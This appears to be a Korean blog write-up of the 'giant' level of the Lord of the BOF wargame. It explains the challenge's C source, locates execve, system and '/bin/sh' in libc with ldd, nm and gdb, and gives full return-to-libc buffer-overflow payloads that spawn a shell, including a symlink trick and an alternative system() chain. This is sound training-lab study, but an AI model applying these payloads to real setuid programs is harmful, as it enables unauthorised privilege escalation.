반응형

login as : bugbear

password : new divide


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

 

1. 커맨드라인 인자가 있어야 한다.

2. 커맨드라인 인자 첫 번째의 45번째부터 4byte만큼의 값이 execve() 함수의주소와 같아야 한다.

 

이번 문제는 RTL 기법을 사용해야 하지만 무조건 execve() 함수를 사용하겠끔 조건이 명시되어 있다.

참고)
- 헤더: unistd.h
- 형태: int execve (const char *filename, char *const argv [], char *const envp[])
- 인수:
	filename: 디레토리 포함 전체 파일 명
	argv : 인수 목록 
	envp : 환경 변수 목록
    
execve() 함수는 현재 실행 중인 프로그램을 종료하고 다른 프로그램을 실행하는 함수이다.

execve()처럼 맨 뒤에 e로 끝나는 것들은 환경 변수를 인수로 줄 수 있다는 것이다.
환경 변수를 인수로 줄 수 없는 execv()가 있다.

execve()와 비슷한 함수로는 execle()가 있는데
execve()와 execle() 함수의 차이점은 인수 목록을 리스트로 나열하느냐 혹은 배열에 담아 이중 포인터로 인수로에 넘겨주냐이다.

ex)
char ** envp[] = {"test=I_AM_Groot", NULL};
execle() : execle("program name", argv[0], argv[1], argv[2], argv[3], NULL, envp);
execle() : execle("./cp", "./cp", "test1", "test2", NULL, envp);

char ** argv[] = {"./cp", "test1", "test2", NULL};
char ** envp[] = {"test=I_AM_Groot", NULL};
execve() : execve("program name", **argv, **envp);
execve() : execve("./cp", &argv, &envp);

 

execve() 함수 주소 구하는 부분

// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);

execve_addr = lib_addr + (int)execve_offset;
// end

memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)

 

위의 코드 부분이 execve() 함수의 주소를 구하는 부분인데

 

ldd 명령은 프로그램이나 공유 라이브러리들이 요구하는 공유 라이브러리(shared libraries)를 출력하는 명령으로, 프로세스나 모듈의 실행이 라이브러리의 부재로 되지 않거나 하는 경우 역추적하여 라이브러리를 확인하여 넣어주는 형태로 많이 사용한다.

 

nm 명령은 오브젝트 파일, 실행 파일 또는 오브젝트 파일 라이브러리 중 하나인, 지정된 File에 있는 심볼(기호)에 대한 정보를 표시한다.

 

awk 명령은 이 커맨드라인 프로그램을 만든 사람의 이니셜이며, 파일로부터 레코드(record)를 선택하고, 선택된 레코드에 포함된 값을 조작하거나 데이터화하는 것을 목적으로 사용하는 프로그램이다.

(각 레코드는 공백이나 tab으로 구분한다.)

 

 

이번 문제에서는 popen() 함수로 가져온 값을 fgets() 함수로 개행 문자를 만나기 전까지 최대 254byte의 내용을 buffer에 내용을 입력한다.

(fgets() 함수는 공백과 개행 문자 그리고 tab을 만나기 전까지 입력을 받는 scanf() 함수와는 달리 오직 개행 문자를 만나기 전까지만 입력을 받기 때문에 공백이 포함된 문자열도 받을 수 있다.)

 

그리고 sscanf() 함수로 buffer에 있는 값을 %x 형식 지정자에 맞게 3번째 인자에 해당하는 주소에 넣는다.

 

이렇게 libc의 주소를 구해 lib_addr에 넣고, execve() 함수의 offset 주소를 구해 execve_offset에 넣은 뒤 이 두 값을 더하여 execve() 함수의 주소를 구한 후 첫 번째 커맨드라인 인자의 RET 부분에 덮어쓸 4byte 값과 비교하는 것이다.


ldd giant | grep libc
ldd giant | grep libc | awk '{print $4}'

nm /lib/libc.so.6 | grep __execve
nm /lib/libc.so.6 | grep __execve | awk '{print $1}'

 

level14 문제에서는 명령어들을 사용할 때 절대경로로 입력하고 assassin 프로그램을 이용했지만, 현재 권한이 bugbear이므로 assassin 프로그램에 접근할 수 없기 때문에 giant 프로그램으로 대체하고, 명령어는 그냥 프로그램 이름만 입력하면 위와 같다.

 

libc의 주소 0x40018000과 execve() 함수의 offset 주소 0x91d48을 더하면 execve() 함수의 실제 주소는 0x400a9d48이다.

 

위와 같이 ldd와 nm 명령으로 execve() 함수의 주소를 알아내도 되지만 gdb를 이용해서 주소를 알아낼 수 있다.

 

이미 존재하는 실행 파일 중 execve() 함수의 정보가 들어있는 실행 파일과 gdb를 이용해 주소 알아내기

cp giant giant2
gdb -q giant2

b * main

r aaaa

p execve

 

execve() 함수를 호출하는 프로그램을 만들어 gdb를 이용해 주소 알아내기

#include <stdio.h>

int main()
{
	execve();
    
    return 0;
}

gcc -o call_execve call_execve.c
gdb -q call_execve

b * main

r

p execve

 

call_execve.c 파일에 위의 코드를 입력한 후 컴파일 하여 gdb로 열어 실행한 뒤 execve() 함수의 주소를 출력한다.


dummy 값 확인

cp giant giant2
gdb -q giant2

set disassembly-flavor intel
disas main

 

지역 변수의 공간으로 60 byte를 할당하는 것으로 보아 dummy 값은 없다.

 


공격

 

이번 문제는 RET 부분에 덮어쓸 주소를 무조건 execve() 함수의 주소를 사용해야 하므로 \x48\x9d\x0a\x40를 payload에 사용해야 한다.

 

[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + "bbbb" + &"/bin/sh" + **argv + **envp

 

execve() 함수로 반환하도록 하기 위한 스택 구성은 위와같다.

 

strings -tx /lib/libc.so.6 | grep /bin/sh

 

execve() 함수의 RET 부분은 dummy 값으로 채우면 되고, 실행할 프로그램은 셸이므로 "/bin/sh" 문자열이 담긴 주소를 입력하면 되는데, "/bin/sh" 문자열의 주소는 공유 라이브러리 안에 "/bin/sh" 문자열이 있기 때문에 해당 주소를 구해 사용한다.

(libc의 주소 0x40018000과 "/bin/sh" 문자열의 offset주소 e3ff9를 더하면 0x400fbff9이다.)

 

[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + "bbbb" + \xf9\xbf\x0f\x40 + **argv + **envp

 

그러면 현재 payload의 구성은 위와 같다.

 

이제 문제는 인수 목록의 포인터와 환경 변수의 포인터 부분이다.

 

이 부분은 단순히 인수의 주소를 주는 것이 아니라 인수들이 담긴 배열의 포인터를 넘겨야 하므로 이중 포인터이다.

 

이 부분을 해결하기 위해 고민하다가 다른 블로그 글을 참고했다.

 

낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
...
높은 주소

 

이전 레벨들에서 사용했던 방법 중 하나인데, 프로그램 이름을 "\xf9\xbf\x0f\x40"로 바꾸거나 심볼릭을 걸고, 스택 레이아웃을 보면 가장 높은 주소 쪽에 있는 program name 부분의 주소를 payload에 사용하는 것이다.

 

인수 목록의 포인터는 argv[0], argv[1] ... 값들이 들어있는 배열의 포인터인데, 현재 문제를 풀기 위해서 다른 인자는 필요하지 않으므로 argv[0] 부분만 들어있는 배열의 포인터가 필요하고 위의 방법을 사용하면 program name 부분의 주소 -> \xf9\xbf\x0f\x40 -> "/bin/sh"이므로 이중 포인터 형태이다.

(argv[0]은 현재 실행 중인 프로그램의 이름이 들어간다.)

 

그리고 환경 변수의 포인터는 스택 레이아웃에서 program name 부분 다음에 있는 NULL 부분의 주소를 사용하거나 stack from startup code 전에 있는 envp 부분의 주소를 사용하면 된다.

(사실, 환경 변수의 포인터는 스택 레이아웃에서 program name 부분의 주소를 줘도 execve() 함수가 실행될만큼 현재는 중요하지 않다.)

 

ln -s giant2 `python -c 'print "\xf9\xbf\x0f\x40"'`

gdb -q `python -c 'print "\xf9\xbf\x0f\x40"'`

b * main

r "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "a" * 8'`"

x/40x $esp

x/140s 0xbffffce0

 

program name 부분의 주소를 알아내기 위해 giant2에 심볼릭을 건 후 gdb로 열어 테스트 할 payload를 인자로 주며 실행한 후 환경 변수 배열의 포인터 주소를 기준으로 하여 스택을 보면 0xbfffffe9 주소에 프로그램 이름이 들어가 있는데 총 18byte이다.

 

이때 gdb에서 볼 때는 프로그램의 이름이 심볼릭 링크로 인해 절대 주소로 바뀌어 스택에 들어가므로 0xbfffffe9 주소에 프로그램 이름이 있지만, 실제 payload를 적용할 때 프로그램 이름의 길이는 4byte 이므로 프로그램 이름의 길이에 따라 스택 주소가 변하므로 이 부분을 계산하여 사용해야 한다.

 

그렇다면 프로그램 이름의 길이가 18byte일 때 주소는 0xbfffffe9이고, 실제 payload에서는 프로그램 이름의 길이가 4byte("\xf9\xbf\x0f\x40")이므로 18byte에서 4byte로 길이가 짧아졌으므로 스택 주소는 반대로 커지고, 그러므로 0xbfffffe9 주소에 14(18byte - 4byte)를 더하면 0xbffffff7이 된다.

 

참고)

gdb에서 커맨드라인 인자를 주어 실행할 때 쌍따옴표로 감싸서 인자를 넘긴 이유는 \x0a가 셸에서 개행으로 인식하기 때문이다.

payload를 수정하여 실행할 때도 쌍따옴표로 감싸서 실행해야 한다.

 

rm `python -c 'print "\xf9\xbf\x0f\x40"'`

ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`

./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`"

 

payload를 수정한 뒤 심볼릭 링크를 giant에 걸고 실행하면 giant의 password one step closer를 얻을 수 있다.

 

참고)

rm `python -c 'print "\xf9\xbf\x0f\x40"'`

ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`

./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xf7\xff\xff\xbf"'`"

 

위와 같이 **argv와 **envp 부분을 동일하게 줘도 잘 실행된다.

 


다른 방식으로 공격

 

다른 방식의 공격으로는 execve()함수의 주소를 입력은 하지만 execve() 함수의 RET 부분을 이용하는 것이다.

 

\x48\x9d\x0a\x40 + [system 함수의 주소] + [system 함수의 RET 부분] + \xf9\xbf\x0f\x40

 

이는 system() 함수로 반환하도록 하여 셸을 실행시키는 것으로 스택 구조는 위와 같다.

 

 

libc의 주소 0x40018000에 system() 함수의 offset 주소 40ae0을 더하면 0x40058ae0이다.

 

./giant "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`"

 

위와 같이 payload를 구성해 giant를 실행하면 된다.


[시행착오]

 

rm `python -c 'print "\xf9\xbf\x0f\x40"'`
ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`
./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xfc\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`"

 

시스템 해킹을 하다 보면 execve("/bin/sh", NULL, NULL);과 같이 사용하여 공격할 때도 있다.

 

그래서 payload를 다시 수정하여 해보니 이 형태로 공격하는 건 안되는 것 같다.


popen : https://badayak.com/entry/C언어-파이프-생성-함수-popen

execve : https://badayak.com/entry/C언어-다른-프로그램-실행-함수execve

awk : https://recipes4dev.tistory.com/171

 

execve()를 이용해 풀이 : https://plummmm.tistory.com/92

"" 더블 쿼터를 사용해야 하는 이유 : https://liveyourit.tistory.com/143

 

execve("/bin/sh", NULL, NULL) : https://powerco3e-lch.tistory.com/53

 

반응형

+ Recent posts